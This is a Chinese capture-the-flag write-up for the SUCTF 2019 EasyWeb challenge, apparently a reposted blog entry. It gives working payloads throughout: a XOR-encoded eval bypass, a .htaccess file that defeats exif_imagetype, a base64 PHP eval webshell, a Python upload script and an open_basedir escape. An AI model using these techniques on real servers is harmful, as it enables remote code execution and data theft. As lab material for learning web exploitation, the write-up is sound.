BUUCTF:[SUCTF 2019]EasyWeb +图片.htaccess绕过exif_imagetype + bypass open_basedir + 传马绕<?+python上传文件脚本

一、自己做:

题目开始就给了源码,

<?php
function get_the_flag(){
    
    
    // webadmin will remove your upload file every 20 min!!!!
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    
    
        mkdir($userdir);
    }
    # 如果有东西的话
    if(!empty($_FILES["file"])){
    
    
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);#取后缀
        if(preg_match("/ph/i",$extension)) die("^_^");#控制后缀用的
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");# 检验临时文件中的内容。
        if(!exif_imagetype($tmp_name)) die("^_^");#必须要是图片
        $path= $userdir."/".$name;#目录随机的md5加密的
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    
    
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    
    
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

# 这个模式3,就是将使用过的字符弄出来,成一个字符串,使用不能够超过12个字母
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

直接就想着RCE。思路都没有一点。。

二、学到的&&不足:

  1. .htaccess绕过exif_imagetype()函数的两种方法。
  2. 一个是预定义高度,宽度。
  3. 一个是利用那个啥东西16进制,后面有记录的。
  4. <script language='php'>这个方法。PHP在7版本以后就撤销了
  5. 绕过对 内容<? 的检验,除了面这个,还有方法: 1、进行base64编码,然后在.htaccess文件中利用PHP伪协议进行解码,
  6. 学习 bypass open_basedir
  7. python脚本上传文件,
  8. 学习了 PHP上传文件的脚本和python上传文件的脚本

三、学习WP:

一下均是学习大佬的思路:

1、代码分为两部分,上面是get_the_flag()函数,应该是一个文件上传功能的验证函数,下面是通过_传参进去,如果能通过一系列的检验则可以执行eval()函数。

如果这题是考RCE的话,为什么还要给出文件上传的代码呢…再看那些过滤,几乎很难去绕过,于是考虑调用get_the_flag()函数来看看可不可以通过文件上传功能。

2、所以接下来要构造payload绕过正则检测并且调用get_the_flag(),这里的过滤非常严格,几乎过滤了所有可见字符。方法无非是 取反,异或还有个自增。可以看这个。。,我里面整理完了

然后就可以看phpinfo。

${
    
    %ff%ff%ff%ff^%a0%b8%ba%ab}{
    
    %ff}();&%ff=phpinfo

在这里插入图片描述
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
也可以调用到get_flag()函数了

3、接下来就是通过上传来getshell了。这里有些条件:

第一层看到有没有ph后缀的
第二层就是看文件内容有没有<?
第三层就是通过exif_imagetype函数看看是不是图片
由于他不允许上传后缀为ph的东西,黑名单绕过的东西都有ph所以不可取,但是我们通过phpinfo看到他的服务器是apache的,可以上传.htaccess这个文件来绕过。

4、.htaccess文件绕过exif_imagetype()
但是上传.htaccess也是要经过判断图片的啊,如果我们直接在.htaccess的文件头加上GIF89a的话,.htaccess就不好使了,不能够生效了,这时候,解决办法有两个:

  1. .htaccess在头部定义图片大小来绕过exif_imagetype函数,如:
#define width 1000
#define height 1000

#在 .htaccess中是注释符,所以不影响,

  1. .htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
    x00x00x8ax39x8ax39 是wbmp文件的文件头
    .htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

5、绕过对 内容<? 的检验
由于PHP的版本大于7了,所以常规的绕过已经不好用了
绕过对 内容<? 的检验,除了面这个,还有方法: 1、进行base64编码,然后在.htaccess文件中利用PHP伪协议进行解码,
这里用,base64的方式写入加密之后的木马,然后用.htaccess将该木马进行php伪协议解码,而后自动包含整个文件,就实现了一句话马,

.htacess

#define width 1337
#define height 1337 
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"

shell.abc

GIF89a12
PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==

解码后是这个:<?php eval($_GET['c']);?>
这里的GIF89a后面的那个12是为了补足8个字节,满足base64编码的规则。

好了弄好了要上传的东西,现在就缺少能够上传文件的方法了,这里贴一个能够上传文件的脚本:

上传图片的时候,里面存放的是二进制数据,所以这里是二进制形式的。

import requests
import base64

htaccess = b"""#define width 1337
#define height 1337 
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_b899f0e544f3744ff318ad225e95da2e/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://0facdb41-e26d-4cf3-8e49-e17e9dfea87c.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"

files = {
    
    'file':('.htaccess',htaccess,'image/jpeg')}
data = {
    
    "upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {
    
    'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

文件上传的脚本可以看这里:PHP代码文件文件上传 +++++ python脚本上传文件

在这里插入图片描述

加密后是这个:b899f0e544f3744ff318ad225e95da2e

这个路径可以这样看。

然后我按照他们的python上传文件,但是不好使,
https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/
https://www.freesion.com/article/2067630877/
https://www.cnblogs.com/hello-there/p/13039116.html

好用了,当时问题出在这里,我这里的二进制的时候,换行了,也就是体现在.htaccess文件中时,第一行有个换行,所以导致htaccess不好使,
在这里插入图片描述
在这里插入图片描述
这是本地测试时用的好使,

接着题目做:
python运行上述脚本

在这里插入图片描述
蚁剑连接
在这里插入图片描述
发现不能够看到其他的目录信息,可能有disabled_function。或者,然后我们取phpinfo去看看去
在这里插入图片描述
在这里插入图片描述
这个题主要时 绕过 这个 open_basedir的技巧
这个就不多说了吧,直接上网上的payload。

?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

在这里插入图片描述然后拿到flag。
这里时 file_get_contents 。注意,有s 的啊!!!
然后 内容是 ‘/flag’。前面的反斜杠代表是 根目录的意思啊!!!

?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

参考自:
https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/
https://www.freesion.com/article/2067630877/
https://www.cnblogs.com/hello-there/p/13039116.html

猜你喜欢

转载自blog.csdn.net/Zero_Adam/article/details/114752874